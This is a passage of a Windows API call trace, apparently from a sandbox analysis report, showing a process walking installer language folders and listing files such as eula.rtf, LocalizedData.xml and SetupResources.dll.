	[0062.579] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.579] FindClose (in: hFindFile=0x811bc8 | out: hFindFile=0x811bc8) returned 1
	[0062.579] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.579] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0062.580] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.580] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811a08
	[0062.580] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.580] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.580] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.580] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.580] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.580] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0062.580] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.580] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0062.581] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.581] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e88
	[0062.581] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.581] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.581] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.581] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.581] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.581] FindClose (in: hFindFile=0x811e88 | out: hFindFile=0x811e88) returned 1
	[0062.581] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.581] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0062.581] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.581] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b48
	[0062.582] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.582] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.582] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.582] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.583] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.583] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0062.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.583] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0062.583] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.583] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b48
	[0062.583] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.583] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.584] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.584] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.584] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.584] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0062.584] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.584] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0062.584] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.584] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0062.584] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.584] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.585] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.585] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.585] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.585] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0062.585] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.585] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0062.585] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.585] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811d88
	[0062.585] FindNextFileW (in: hFindFile=0x811d88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.585] FindNextFileW (in: hFindFile=0x811d88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.585] FindNextFileW (in: hFindFile=0x811d88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.586] FindNextFileW (in: hFindFile=0x811d88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.586] FindNextFileW (in: hFindFile=0x811d88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.586] FindClose (in: hFindFile=0x811d88 | out: hFindFile=0x811d88) returned 1
